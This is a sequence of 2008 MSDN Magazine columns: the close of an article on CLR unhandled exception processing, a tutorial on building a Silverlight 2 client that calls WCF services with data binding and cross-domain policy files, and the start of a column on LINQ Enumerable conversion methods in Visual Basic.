This event is always raised for the default domain. Additionally, if the thread was created in the CLR and in a non-default AppDomain, this notification will be delivered to that AppDomain as well.
When the CLR's unhandled exception processing is triggered, the process is close to termination since the exception has gone unhandled all the way up the thread's stack. Thus, this is the last chance to do some sort of logging about what went wrong. The event handler gets the exception object pertaining to the unhandled exception so that it can be used for the diagnosis of the failure. The code in Figure 5 registers for and uses this notification.
Figure 5 Register for Notification
class Program
{
  static void Main(string[] args)
  {
    AppDomain.CurrentDomain.UnhandledException += new
      UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);
    throw new Exception("This will go unhandled");
  }

  static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
  {
    Exception ex = (Exception)e.ExceptionObject;
    Console.WriteLine("Observed unhandled exception: {0}", ex.ToString());
  }
}
Next, the CLR will collect the managed bucket details pertaining to the unhandled exception and write them to the event log (under the Application Log), as shown in Figure 6.
Figure 6 Exceptions in the Event Log
Bucketing is the process that groups crashes of applications based upon the point of crash. In case of unhandled managed exceptions, it is based upon nine details that the CLR collects pertaining to the managed exception that went unhandled. These are collectively known as the Watson buckets, and in the context of managed code they include details such as the name of the module that was responsible for the crash, the intermediate language (IL) offset at which the crash happened, and the MethodDef of the method in which the crash happened (for details, see the ECMA 335 specification). For instance, bucket P4 describes the faulting module, bucket P9 displays the type of exception that went unhandled, and bucket P8 represents the IL offset at which the exception was originally thrown.
Figure 7 shows the disassembly of the managed method that raised the unhandled exception leading to the bucket details shown in Figure 6. You will see that the IL offset (P8) in Figure 6 will match the IL offset at which the exception was thrown in Figure 7.
Figure 7 Disassembled Method
The thing you need to keep in mind here is that the information in the buckets corresponds to the last managed exception that was thrown and went unhandled. This statement is important since exceptions can be rethrown or packaged as an inner exception of a new exception that is thrown and goes unhandled. They could have also been thrown originally in a non-default AppDomain into which the thread transitioned.
In the first two cases (rethrown and packaged as an inner exception), it will be the IL offset of the rethrow or the throw of the new exception that will be used in bucketing. The third case I mentioned is special since it's based upon the fact that objects created in one AppDomain cannot be used in another AppDomain unless they are marshaled (the CLR's way of transforming objects for use across various boundaries such as AppDomains). Thus, when an exception thrown in an AppDomain remains unhandled and reaches an AppDomain transition boundary, the CLR will marshal the exception object from the AppDomain where it was raised into the AppDomain from where the call originated and raise the exception using the marshaled exception object.
As a result, the IL offset in the P8 bucket will belong to the first managed frame in the calling AppDomain that sees the exception. Simply put, this will typically be an offset in the method where the AppDomain transition was initiated on the thread.
A CLR host is able to retrieve the bucket parameters for the current exception on the thread by using the ICLRErrorReportingManager::GetBucketParametersForCurrentException hosting API.
Finally, at this point you would typically see a dialog that will prompt you to debug or close the application. Clicking Close Program would terminate the process, while clicking on Debug would launch the managed just-in-time (JIT) debugger that is specified in the DbgManagedDebugger entry under the HKLM\Software\Microsoft\.NetFramework registry key.
In the final step of the CLR's unhandled exception process, the CLR will attempt to display details pertaining to the exception that went unhandled on the standard error console. Typically, you will see the managed stack trace dump.
If the exception is a more serious one (such as a StackOverflowException or OutOfMemoryException), a simple string is displayed in the place of the stack dump. This is done because you may not have enough stack to execute or memory to form the extensive stack trace to display on the console. If the CLR is not cautious in such a situation, it could run into a recursive exception scenario. Once the process is complete, the CLR's unhandled exception processing mechanism returns control to its caller, which may be either the OS or the CLR itself.

Future Concerns
This column is based on the version of the CLR that ships with the .NET Framework 2.0 and thus may have touched on some implementation details that could possibly change in the future. However, my goal here wasn't to have you focus on the implementation but rather help you to try and understand the bigger picture of unhandled exception processing.
Now you should understand what constitutes unhandled exception processing, its dependencies, and how it relates to the OS UEF mechanism. This knowledge will help you design better exception handling strategies and diagnostics mechanisms in your applications for any unexpected crashes you may encounter.

Send your questions and comments to clrinout@microsoft.com.

Gaurav Khanna is a Software Development Engineer on the CLR team at Microsoft where he works on managed exception handling implementation and CLR Hosting.


Data Points
Service-Driven Apps With Silverlight 2 And WCF
John Papa
Code download available at: DataPoints2008_09a.exe (414 KB)
Browse the Code Online

This column is based on the Beta 2 version of Silverlight 2. All information herein is subject to change.
Contents
The Sample Application
Cross-Domain Communications
The Silverlight Client
Binding the Product List
Asynchronous Communication
Product Details and Binding Modes
Change Events
Wrap-Up
It is true that Silverlight™ 2 makes it easy to build rich internet applications (RIAs) with tremendous graphical prowess. However, it is also true that Silverlight 2 makes it easy to build highly functional line-of-business (LOB) applications. Silverlight 2 supports a subset of the powerful XAML-based data binding that Windows® Presentation Foundation (WPF) enables. The XAML binding markup extensions in Silverlight 2 simplify the process of binding entities to Silverlight controls. Because they run completely on the client computer, Silverlight applications are isolated from the entities that are managed on the server. Therefore service-based communication through technologies such as RSS, Representational State Transfer (REST), and Windows Communication Foundation (WCF) must be available. Fortunately, Silverlight 2 supports interaction with these and other communication pathways, enabling Silverlight applications to interact seamlessly with back-end LOB applications.
I'll demonstrate how to build a Silverlight 2 UI that communicates through WCF to interact with business entities and a database. The business logic, entity model, and data-mapping code can be consumed by any presentation tier. I'll create WCF services to be consumed by a Silverlight 2 app and I'll set up the server hosting the WCF services to allow cross-domain invocation. Note that you can download the examples from the MSDN® Magazine Web site.

The Sample Application
Before diving into the code, let's take a high-level look at the sample. Figure 1 shows the completed application, which displays a list of products retrieved from the Northwind database. When a product is selected from the ListBox, the product is bound to the controls on the lower half of the page. When the user edits the product through the CheckBox and TextBox controls and clicks the Save button, the product information is then sent to the database by way of WCF. Clicking on the Cancel button gets a fresh list of products from the server through WCF and updates the ListBox and its bindings.
Figure 1 The Sample Silverlight App
The Silverlight 2 sample application is made up of a handful of user controls and styles. The presentation layer communicates with the server using asynchronous calls through WCF. It uses a WCF service reference to allow the Silverlight application to communicate with the service according to the service's operation contracts and data contracts. The data contracts (such as the Product or Category entity classes) expose the structure of the entities from the server application. This makes it simple for the Silverlight application's controls to be bound to the instances of the entities and their properties. The operation contracts define the methods that the Silverlight application can invoke on the WCF service. Figure 2 shows the high-level overview of the architecture.
Figure 2 Architectural Model of the Sample Application
I began building the sample app with the lower layers, starting with the WCF service itself. You can build a WCF service that can communicate with a Silverlight app by creating a new WCF project in Visual Studio®. A standard WCF service can be invoked by a Silverlight app as long as the Silverlight app has a binding of type basicHttpBinding. You must either make sure you change the default binding of the WCF service from wsHttpBinding to basicHttpBinding or create a new binding of type basicHttpBinding. For example, the web.config file of the sample WCF service host app contains the following XML that defines the service configuration. Notice the endpoint binding is defined as basicHttpBinding:
<service behaviorConfiguration=
    "MySilverlightWcfService.NWServiceGatewayBehavior"
    name="MySilverlightWcfService.NWServiceGateway">
    <endpoint address=""
        binding="basicHttpBinding"
        contract="MySilverlightWcfService.INWServiceGateway" />
    <endpoint address="mex" binding="mexHttpBinding"
        contract="IMetadataExchange" />
</service>
As an alternate approach to creating the WCF service, you can choose the file item template in Visual Studio to create a Silverlight-enabled WCF service. Figure 3 shows the new item template in Visual Studio. This template automatically sets the binding to basicHttpBinding and adds some attributes to make the service compatible with ASP.NET. And while this approach sets the correct binding configuration for you, remember that you can certainly still use existing WCF services as long as the bindings are set for basicHttpBinding.
Figure 3 Silverlight-Enabled WCF Template
The WCF service must be able to request a list of products to fill the ListBox, and it must be able to save any changes a user makes to a product. These are simple operations that require no Silverlight-specific techniques. The sample application uses a WCF service class named NWServiceGateway, which implements the interface INWServiceGateway. INWServiceGateway, shown here, is decorated as a ServiceContract, which enables any class that implements this interface to be exposed through WCF:
[ServiceContract(Namespace = "")]
public interface INWServiceGateway
{
    [OperationContract]
    Product FindProduct(int productId);
    [OperationContract]
    List<Product> FindProductList();
    [OperationContract(Name="FindProductListByCategory")]
    List<Product> FindProductList(int categoryID);
    [OperationContract]
    List<Category> FindCategoryList();
    [OperationContract]
    void SaveProduct(Product product);
}
The interface lists several methods decorated with the OperationContract attribute. OperationContracts can be invoked through the WCF service. Notice that the FindProductList method has two overloads. One accepts a parameter and the other does not. While this is perfectly acceptable in Microsoft® .NET Framework methods, WCF cannot expose two methods with the same name. To work around this, you can either rename the method or use the Name property of the OperationContract to specify a different name in the service definition. Figure 4 shows how to expose the FindProductList method with the parameter to an operation with a new name in the WCF service.
Figure 4 Gathering Products in the Data Layer
public List<Product> FindProductList()
{
    var productList = new List<Product>();
    using (var cn = new SqlConnection(nwCn))
    {
        const string sql = @"SELECT p.*, c.CategoryName "
            + " FROM Products p INNER JOIN Categories c ON "
            + " p.CategoryID = c.CategoryID ORDER BY p.ProductName";
        cn.Open();
        using (var cmd = new SqlCommand(sql, cn))
        {
            SqlDataReader rdr = cmd.ExecuteReader(
                CommandBehavior.CloseConnection);
            if (rdr != null)
                while (rdr.Read())
                {
                    var product = CreateProduct(rdr);
                    productList.Add(product);
                }
            return productList;
        }
    }
}
The WCF service simply implements this service contract interface and calls a manager class that is tasked with getting the products from the database and mapping them to a List<Product> so they can be passed out of the service. Figure 4 shows the code that gets the list of products from the Northwind database, maps each product to a Product class, and adds each product instance to the List<Product>.
Entities returned by WCF must be decorated with the DataContract attribute to allow them to be properly serialized and sent on their way to the Silverlight app. The Product class referred to in Figure 4 has the DataContract attribute and all of its properties are decorated with the DataMember attribute. This tells WCF to serialize and make the entity and its DataMember properties available to the Silverlight app. When the WCF service's FindProductList method is invoked, the Silverlight client app will receive a List<Product> and will be able to refer to all of the properties decorated with the DataMember attribute.

Cross-Domain Communications
Silverlight applications will execute in the client computer's environment. This presents a few issues that ASP.NET Web-based applications do not currently face since they execute on the server and render HTML and scripting code on the client. Because Silverlight executes on the client, it must request information from the server using a service-oriented technology such as WCF. However, the WCF service must be secured against unwanted client applications who might take advantage of it. The sample Silverlight application is hosted on your trusted Web server, so it should be permitted to speak to the sample application's WCF services. If another application that is hosted by another Web server tries to communicate with the sample WCF service, it should be denied.
Controlling this kind of access to services is handled by cross-domain policy files. Adobe Flash applications have a standard file to handle this called CrossDomain.xml which lives in the root of the service's Web server. Silverlight applications behave similarly, first looking for a file called ClientAccessPolicy.xml in the Web server's root (not the Web application's root). If the file is found, the application will read it to determine whether the request will be allowed or denied. If it is not found, the application will then look for the CrossDomain.xml file. If neither is found, the request will be denied and the Silverlight client application will not be able to invoke the WCF services.
The contents of either of these files must allow the caller permission to the services. Since the sample application exists only on a protected development machine, its ClientAccessPolicy.xml allows all requests, as shown here:
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <policy>
      <allow-from http-request-headers="*">
        <domain uri="*"/>
      </allow-from>
      <grant-to>
        <resource path="/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
The ClientAccessPolicy.xml file I created allows cross-domain access from all locations to all paths. A copy of this file is included in the sample application. When a WCF project is first created, the default option is to use the Visual Studio Development Server with an auto-assigned port. However, the sample application's WCF service project is set to "Use IIS Web Server", which can be changed in the property pages of the project on the Web tab. Either option will work, as long as the ClientAccessPolicy.xml file is placed at the Web site's root.
The policies can be restricted and secured to only allow certain URIs access to specific services in specific folder paths. To do this the Web server that hosts the Silverlight application must specified in this file so that it can talk to the WCF services. For example, a more restrictive cross-domain policy might look like this:
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <policy>
      <allow-from http-request-headers="*">
        <domain uri="http://johnpapa.net"/>
      </allow-from>
      <grant-to>
        <resource path="/MyAwesomeServices/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
Note here that any request originating from a service from johnpapa.net is allowed to access services in the /MyAwesomeServices path on the server.
Debugging problems with cross-domain calls can be difficult. You can use a tool such as the Web Development Helper (my favorite) or Fiddler to inspect the traffic between your Silverlight application and your server-based services. These tools will show the individual HTTP requests and responses. You should also make sure your ClientAccessPolicy.xml file is put in the Web root and not the application root. I can't stress this enough.
Also, when hosting a service in a Visual Studio project (for example, not directly in IIS) and the project creates an auto-assigned port, the easiest way to test this service is just to put the ClientAccessPolicy.xml file in the root of the project itself. Because the project gets an auto-assigned port (such as localhost:32001/MyAwesomeService) it will look for the ClientAccessPolicy.xml file in root of the Web, which in this case would be localhost:32001.

The Silverlight Client
Once the services have been compiled and the cross-domain policies have been established, the Silverlight client can be set up to communicate with the WCF services. The sample app has a Silverlight client project called SilverlightWCF that needs a service reference to the sample's WCF services. Right-click on the references node in the Solution Explorer and choose Add Service Reference. Then enter the URL for the service, click the GO button, and the service will be displayed. Click OK and the service client configuration will be added to the Silverlight project along with generated proxy classes to simplify calling the services and consuming the entities (as defined by the DataContract). Figure 5 shows the dialog window that appears when adding the service.
Figure 5 Adding a Service Reference
Note that the sample uses a service that, by default, is located at localhost/MySilverlightWcfService/NWServiceGateway.svc. Naturally, if the service is moved, this endpoint address will need to be updated as well. If a minor change is implemented in the WCF service, such as the addition of a new method or DataContract, you can select Update Service Reference from the Solution Explorer.

Binding the Product List
The sample application needs to show the list of products to the user. Here a ListBox control is used with a DataTemplate so it can present the products with a little flare beyond simply listing the values in rows and columns (the ListBox was initially shown in Figure 1). By setting the ItemSource property of the ListBox, we indicate that the ListBox will get its values from a bound data source as shown by the following markup:
<ListBox x:Name="lbProducts" Height="220" HorizontalAlignment="Left"
    VerticalAlignment="Bottom" Margin="10,10,10,10" Width="480"
    Style="{StaticResource ListBoxStyle}"
    ItemsSource="{Binding}" >
Notice that the ItemSource property simply indicates that it will be bound, but not to any specific object or property. Since no source is specified, the ListBox will refer to any inherited DataContext object sources in the XAML. The DataContext can be inherited from any parent FrameworkElement. The sample application sets the DataContext of the ListBox named lbProducts in the codebehind after the WCF service has returned the list of products:
lbProducts.DataContext = productList;
Once this code has been executed, the ListBox is bound to the list of products and each ListBoxItem in the DataTemplate is bound to an individual product in the list. Figure 6 shows the XAML used to create the ListBox and bind the items represented in the DataTemplate to the source. Notice that the individual controls that are bound to the source use the binding markup extensions to indicate which property of the Product they will be bound to, as well as to use the OneWay binding mode. For example:
Text="{Binding ProductName, Mode=OneWay}"
Figure 6 ListBox XAML
<ListBox x:Name="lbProducts" Height="220" HorizontalAlignment="Left"
   VerticalAlignment="Bottom" Margin="10,10,10,10" Width="480"
   Style="{StaticResource ListBoxStyle}" ItemsSource="{Binding}" >
   <ListBox.ItemTemplate>
      <DataTemplate>
         <StackPanel Orientation="Horizontal">
            <StackPanel Style="{StaticResource TitlePanel}"
               Orientation="Vertical">
            <TextBlock Text="{Binding ProductName, Mode=OneWay}"
               Style="{StaticResource TitleTextBlock}" FontSize="14"/>
            <TextBlock Text="{Binding CategoryName, Mode=OneWay}"
               Style="{StaticResource SubTitleTextBlock}"/>
         </StackPanel>
            <Grid>
               <Grid.RowDefinitions>
                  <RowDefinition></RowDefinition>
                  <RowDefinition></RowDefinition>
                  <RowDefinition></RowDefinition>
               </Grid.RowDefinitions>
               <Grid.ColumnDefinitions>
                  <ColumnDefinition></ColumnDefinition>
                  <ColumnDefinition></ColumnDefinition>
               </Grid.ColumnDefinitions>
               <TextBlock Text="Product ID" Style="{StaticResource
                  TextBlockStyle}" Grid.Row="0" Grid.Column="0"/>
               <TextBlock Text="{Binding Id, Mode=OneWay}"
                  Style="{StaticResource TextBlockStyle}"
                  Foreground="#FF001070" Grid.Row="0" Grid.Column="1"/>
               <TextBlock Text="Price" Style="{StaticResource
                  TextBlockStyle}"
                  Grid.Row="1" Grid.Column="0"/>
               <TextBlock Text="{Binding UnitPrice, Mode=OneWay,
                  Converter={StaticResource
                  priceConverter}}"
                  Foreground="#FF001070" Style="{StaticResource
                  TextBlockStyle}" Grid.Row="1" Grid.Column="1"/>
               <TextBlock Text="Units" Style="{StaticResource
                  TextBlockStyle}" Grid.Row="2" Grid.Column="0"/>
               <TextBlock Text="{Binding UnitsInStock, Mode=OneWay}"
                  Foreground="#FF001070"
                  Style="{StaticResource TextBlockStyle}"
                  Grid.Row="2" Grid.Column="1"/>
            </Grid>
         </StackPanel>
      </DataTemplate>
   </ListBox.ItemTemplate>
</ListBox>
The binding mode for all of the bound TextBox controls is set to OneWay. This indicates that the source (the Product instance) should push its values to the target (the ListBox and any items bound within it) both on initial load and when anything changes in the source (see the Binding Modes section for more details on Modes).

Asynchronous Communication
Before the binding can occur, the product list must be fetched from the WCF service. All WCF service calls from Silverlight are made through asynchronous communications. The sample WCF service publishes an OperationContract named FindProductList. Since the communication with Silverlight is asynchronous, this contract is implemented in the generated proxy with an asynchronous method that kicks off the communication and an event that is raised when the operation has completed.
The following code creates an instance of the service proxy:
private void FindProductList()
{
    this.Cursor = Cursors.Wait;
    var proxy = new NWServiceGatewayClient();
    proxy.FindProductListCompleted += new
        EventHandler<FindProductListCompletedEventArgs>(
        FindProductListCompleted);
    proxy.FindProductListAsync();
}
After the proxy has been created, an event handler is added to the FindProductListCompleted event. This is the method that will receive the result of the asynchronous WCF service call. Finally, the FindProductListAsync method is executed.
When the asynchronous WCF service call has completed, the event handler is executed. The following code shows the event handler FindProductListCompleted receiving the list of products and binding them to the ListBox's DataContext:
private void FindProductListCompleted(object sender,
    FindProductListCompletedEventArgs e)
{
    ObservableCollection<Product> productList = e.Result;
    lbProducts.DataContext = productList;
    if (lbProducts.Items.Count > 0)
        lbProducts.SelectedIndex = 0;
    this.Cursor = Cursors.Arrow;
}

Product Details and Binding Modes
When an item in the ListBox has been selected, the code in the event handler fetches the selected Product from the ListBox's SelectedItem and sets it to a Grid layout control's DataContext. The Grid layout control is used as a container for the product details section, which contains a series of controls that allow the user to edit the selected product. Since the DataContext is inherited down the control tree, there is no need to set the DataContext on the individual TextBox and CheckBox controls. These controls all inherit the DataContext from their parent Grid control that was set in the lbProducts_SelectionChanged event handler.
There are several TextBlock, TextBox, and CheckBox controls in the Grid layout control which contain binding declarations. A few snippets of XAML from this section are shown here:
<TextBox Style="{StaticResource TextBoxStyle}"
    Text="{Binding UnitsInStock, Mode=TwoWay}"
    Grid.Row="1" Grid.Column="1" Margin="3,3,3,3" Height="30"
    x:Name="tbUnitsInStock" Width="100"
    VerticalAlignment="Bottom" HorizontalAlignment="Left"/>

<TextBlock Style="{StaticResource TextBlockStyle}" Text="{Binding
    CategoryName, Mode=OneWay}" Foreground="#FF001070" Grid.Row="1"
    Grid.Column="4" Margin="3,3,3,3" Height="22"
    HorizontalAlignment="Left" VerticalAlignment="Bottom"/>
Notice that the first snippet represents a TextBox that displays the UnitsInStock property from the Product source object. The second snippet shows the value of the Product instance's CategoryName property. Note that the binding Mode property is set to TwoWay on the TextBox and it is set to OneWay (which is the default setting) on the TextBlock.
The binding Mode property is a critical binding setting that determines how often and in which direction binding will occur between the target and its source. Figure 7 shows the three binding modes that can be used in Silverlight XAML and when they are updated.
Figure 7 Three Binding Modes in Silverlight XAML
Binding Mode | OneTime | OneWay | TwoWay
Target is updated when DataContext is first set | Yes | Yes | Yes
Target is updated when source changes | No | Yes | Yes
Source is updated when target changes | No | No | Yes
OneTime binding sends the source to the target when the application is started or the DataContext changes. OneWay binding sends the source to the target as well. However, if the source implements the INotifyPropertyChanged interface, the target will receive updates when the source is updated. TwoWay binding sends the source data to the target and if there are changes in the target property's value, those will go back to the source. Both OneWay and TwoWay binding only notify the target about changes if the source object implements INotifyPropertyChanged and if the source's property setters raise the PropertyChanged event.
In the previous example, OneWay binding is used for the CategoryName since it is displayed in a TextBlock and cannot be edited. TwoWay binding is used for the UnitsInStock since it is presented in a TextBox which can be edited. When the user edits the value of UnitsInStock in the TextBox and when the TextBox loses focus, the change is sent back to the source object.
OneTime binding is optimal for presenting read-only information that will never change while presented. OneWay binding is great for presenting read-only information that may change at some point while being presented. To illustrate, if OneTime binding was used instead of OneWay on the CategoryName TextBlock, when the Cancel button is clicked and the product list is refreshed the TextBlock using the OneTime binding mode would not be updated. Finally, TwoWay binding is the best choice when the user must be able to change the data in a control and have the change reflected in the data source

Change Events
One of the keys to having OneWay and TwoWay binding notify the target when the source has changed is to implement the INotifyPropertyChanged interface. The Product class implements this interface, which consists of a single event, PropertyChanged. The PropertyChanged event accepts as parameters the sender and the name of the changed property. Silverlight data binding listens for these events from data sources. If the class does not both implement this interface and raise the PropertyChanged event in the property setters, then the target will never receive updates. The PropertyChangedEventHandler is implemented in the Product class through the following line of code:
public override event PropertyChangedEventHandler PropertyChanged;
In this case, the event is overridden rather than simply defined because the Product class inherits from a custom EntityBase class which implements the INotifyPropertyChanged interface. The EntityBase class, shown here, implements the PropertyChangedEventHandler virtually so it can be overridden in the derived classes such as Product or Category:
[DataContract]
public abstract class EntityBase : INotifyPropertyChanged
{
    protected void PropertyChangedHandler(EntityBase sender,
        string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(sender, new PropertyChangedEventArgs(
                propertyName));
    }
    public virtual event PropertyChangedEventHandler PropertyChanged;
}
The EntityBase class also defines a PropertyChangedHandler method as a convenience to derived classes which, in turn, raises the PropertyChanged event. This is a simple refactoring to put the logic of raising the event into a single place and reduce code. For example, the product class has a UnitPrice property that sets the value of the product's price and calls the base class's PropertyChangedHandler method:
[DataMember]
public decimal UnitPrice
{
    get { return _unitPrice; }
    set
    {
        _unitPrice = value;
        base.PropertyChangedHandler(this, "UnitPrice");
    }
}
This method, in turn, raises the PropertyChanged event. This event is then sent to any OneWay or TwoWay bindings, which causes the bindings to update the target controls with the new value. Every property's setter in the Product class uses this pattern.
The property change notifications can be demonstrated through the sample application by selecting a product from the ListBox and editing the unit price in the TextBox. Since the tbUnitPrice TextBox uses TwoWay binding, this causes the new price to be sent to the source. Once the source is updated, the PropertyChanged event is raised. This causes any bindings that are listening for the event to update the target values. Since the ListBox implements OneWay binding, its value for the price will automatically update itself to the new price value.

As you can see, Silverlight 2 data-binding features are simple to implement using the declarative binding syntax shown in the sample application. The bindings listen for the PropertyChanged event so they can update their targets. In this column, I showed how easy it is to implement binding through Silverlight, how to communicate with WCF services to interact with business objects and a database, and how to define a ClientAccessPolicy.xml file to allow and restrict remote communications.

Send your questions and comments for John to mmdata@microsoft.com.

John Papa (johnpapa.net) is a Senior Consultant with ASPSOFT (aspsoft.com) and a baseball fan who spends summer nights rooting for the Yankees with his family. John, a C# MVP and INETA speaker, has authored several books and is now working on his latest, titled Data Access with Silverlight 2, to be published by O'Reilly in December 2008. He often speaks at conferences such as DevConnections and VSLive.


Advanced Basics
The LINQ Enumerable Class, Part 2
Ken Getz

Code download available at: AdvancedBasics2008_09a.exe (180 KB)
Browse the Code Online
Contents
Converting Sequences
Positioning within Sequences
Calculating Sequences
Performing Set Operations
Summing It Up
In the last installment, I took you on a quick tour through approximately half of the methods in the System.Linq.Enumerable class. This class, which provides all the extension methods that make LINQ queries in Visual Basic® and C#, also extends other classes, such as List(Of T) and Array, making it possible to use querying semantics with objects that wouldn't otherwise support querying methods. You can review that column in the July 2008 issue at msdn.microsoft.com/magazine/cc700332.
This time, I'll complete the tour of the methods, looking at methods that handle converting, positioning, calculating, and performing set operations on sequences of objects. (You should download the sample application, which contains all the code I show here. Following along in the app will help you understand how the code works, especially since you can alter it to experiment as you go.)

Converting Sequences
If you need to take the results of working with an enumerable sequence and pass them to some method that requires a specific type, or you need to call a method of a specific type using data that's stored in an enumerable sequence, you may need to call one of the Enumerable class methods that convert the data to a different type. For example, imagine that you have customer data in a sequence, and you'd like a comma-delimited list of customer names. Although you can solve this problem several other ways (as you'll see when you investigate the Aggregate method later in the column), the String.Join method solves this problem handily.
The problem is that this method only accepts an array of strings as input. The answer is the Enumerable.ToArray method, which converts the collection to an array:
'From ToArrayDemo in the sample:
Dim db As New SimpleDataContext
Dim customers = _
  From cust In db.Customers _
  Where cust.Country = "France" _
  Select cust.ContactName
Dim nameList As String = String.Join(", ", customers.ToArray())
Using the data in the Northwind sample database, this code fills the nameList variable with the following text:
Frédérique Citeaux, Laurence Lebihan, Janine Labrune, Martine Rancé, Carine Schmitt, Daniel Tonini,
Annette Roulet, Marie Bertrand, Dominique Perrier, Mary Saveley, Paul  Henriot
You can convert from an enumerable sequence into a generic Dictionary, although you must at least supply a function that indicates how you want to generate the key values. Note that the Enumerable.ToDictionary method provides several overloads, allowing you to specify various combinations of key selector, value selector, key comparer, and value comparer methods.
Imagine that you've extracted product information from the Northwind sample database and you'd like an in-memory dictionary using product ID values as the key. The code in Figure 1 handles this task for you.
Figure 1 Creating a Dictionary
' From ToDictionaryDemo in the sample:
Dim db As New SimpleDataContext
Dim someProducts = _
  From prod In db.Products _
  Where prod.CategoryID = 1

Dim productsDictionary = _
  someProducts.ToDictionary( _
    Function(prod) prod.ProductID)

' Display the contents of the dictionary:
Dim sw As New StringWriter
For Each kvp In productsDictionary
  sw.WriteLine("{0}: {1}", _
    kvp.Key, kvp.Value.ProductName)
Next
This code takes the contents of the someProducts variable and converts it to a Dictionary, using the ProductID field as the key value. The code then loops through all the items in the dictionary, printing the key (that is, the ProductID field) and one field from the value of each dictionary item.
What if you want to use a value that isn't a simple type like the key in your dictionary? Maybe you want to use the entire Product as the dictionary key. In that case, you must again supply an instance of a custom comparer so that you provide a means of comparing instances of the key.
In Figure 2, the code uses the entire Product as the key value for each item in the dictionary; simply supply a custom class that implements IEqualityComparer(Of Product). This class, which is also in the sample project, determines that two products are equal if their ProductID fields are equal.
Figure 2 Product Comparer
Public Class ProductComparer
  Implements IEqualityComparer(Of Product)

  Public Function Equals1( _
    ByVal x As Product, ByVal y As Product) As Boolean _
    Implements IEqualityComparer(Of Product).Equals

    Return x.ProductID.Equals(y.ProductID)

  End Function

  Public Function GetHashCode1( _
    ByVal obj As Product) As Integer _
    Implements IEqualityComparer(Of Product).GetHashCode

    Return obj.GetHashCode

  End Function
End Class
In Figure 3, the first lambda expression calculates the key, the second calculates the value, and the instance of the ProductComparer class provides the means of comparing two keys.Figures 2 and 3 fill the StringWriter instance with the same output, using differently configured dictionaries to create the same results:
1: Chai
 2: Chang
24: Guaraná Fantástica
34: Sasquatch Ale
35: Steeleye Stout
38: Côte de Blaye
39: Chartreuse verte
43: Ipoh Coffee
67: Laughing Lumberjack Lager
70: Outback Lager
75: Rhönbräu Klosterbier
76: Lakkalikööri
Figure 3 Comparing Two Keys
' From ToDictionaryDemo in the sample:
Dim productsDictionary2 As Dictionary(Of Product, String) = _
  someProducts.ToDictionary( _
    Function(prod) prod, _
    Function(prod) prod.ProductName, _
    New ProductComparer())

' Display information from the new dictionary:

sw = New StringWriter()
For Each kvp In productsDictionary2
  sw.WriteLine("{0}: {1}", kvp.Key.ProductID, kvp.Value)
Next
Some methods specifically require a generic List as input, rather than an enumerable sequence. To convert to a List, use the Enumerable.ToList method. The following code retrieves a list of product names, converts them to a generic List(Of String), and then uses the IndexOf method to locate an item in the list:
' From ToListDemo in the sample:
Dim db As New SimpleDataContext
Dim productNames = _
  db.Products.Select(Function(prod) prod.ProductName).ToList()
Dim results = _
  String.Format("Chang was found at index {0}", _
    productNames.IndexOf("Chang"))
After running the sample code, the variable "results" contains the following text:
Chang was found at index 2
A Dictionary data structure maps a key to a single value. A Lookup data structure maps a key to a group of values. This structure is a perfect match for a hierarchical Enumerable instance (for example, a CategoryID linking to a number of Product instances). The Enumerable.ToLookup method performs the conversion for you, assuming that you have a simple hierarchy of a key to values.
The code in Figure 4 converts an IEnumerable(Of Product) sequence into a Lookup, where each key is a CategoryID, and each value is a Product. The first parameter to the ToLookup method is a function that determines the key, and the second is a function that determines the value for each item.
Figure 4 Convert IEnumerable Sequence into a Lookup
' From ToLookupDemo in the sample:
Dim db As New SimpleDataContext
Dim products = _
  From prod In db.Products _
  Where prod.UnitPrice > 40 _
  Order By prod.CategoryID

Dim lookup = _
  products.ToLookup( _
    Function(prod) CInt(prod.CategoryID), _
    Function(prod) prod)

' Iterate through the lookup:
sw = New StringWriter
For Each grouping In lookup
  sw.WriteLine("Category ID = {0}", grouping.Key)
  For Each value In grouping
    sw.WriteLine("    {0} ({1:C})", _
                 value.ProductName, value.UnitPrice)
  Next
Next
Running the sample code places the text in Figure 5 into the StringWriter variable. Each key is associated with more than one product, and the information is stored in the Lookup instance.
Now, let's say you have a non-generic collection of some sort, but you'd like to apply standard query operators to it. For example, you might have an ArrayList containing data, and you would like to filter the list using a Where method call. The Enumerable.Cast method casts each element of a collection to a specific type and returns a generic IEnumerable instance containing the specified type. You can then operate on the result, as shown in Figure 6.
Figure 5 Text for StringWriter
Category ID = 1
    Côte de Blaye ($263.50)
    Ipoh Coffee ($46.00)
Category ID = 2
    Vegie-spread ($43.90)
Category ID = 3
    Tarte au sucre ($49.30)
    Sir Rodney's Marmalade ($81.00)
    Schoggi Schokolade ($43.90)
Category ID = 4
    Raclette Courdavault ($55.00)
Category ID = 6
    Thüringer Rostbratwurst ($123.79)
    Mishi Kobe Niku ($97.00)
Category ID = 7
    Rössle Sauerkraut ($45.60)
    Manjimup Dried Apples ($53.00)
Category ID = 8
    Carnarvon Tigers ($62.50)
Figure 6 Filtering the ArrayList
' From CastDemo in the sample:
Dim items As New ArrayList
items.Add("January")
items.Add(1)
items.Add("August")
items.Add(14)
items.Add("October")
items.Add(25)
items.Add("April")
items.Add(38)

' Cast the ArrayList as a queryable group of strings
' (if the conversion to String failed for any element,
' this would raise an exception):
Dim query = items.Cast(Of String)()

Dim results = _
  query.Where(Function(item) item.StartsWith("A"))
Be aware that Enumerable.Cast throws an exception if it can't convert all the input elements to the specified type. You can use the OfType method to filter the list before converting it, if that's the case. Figure 6 filters the ArrayList data to retrieve only those items that begin with the letter "A." After running the code in Figure 6, the variable named results contains the following items:
August
April
Finally, the Enumerable.AsEnumerable method enables you to treat a source type as IEnumerable so you can use methods of IEnumerable rather than methods in the implemented class. This method is useful in specific circumstances, but it's unlikely that you'll need it in general coding.
The complex example in the documentation explains this method. If you need to coerce your own class to behave as if it were of type IEnumerable, then you should definitely take a look at the Enumerable.AsEnumerable method.

Positioning within Sequences
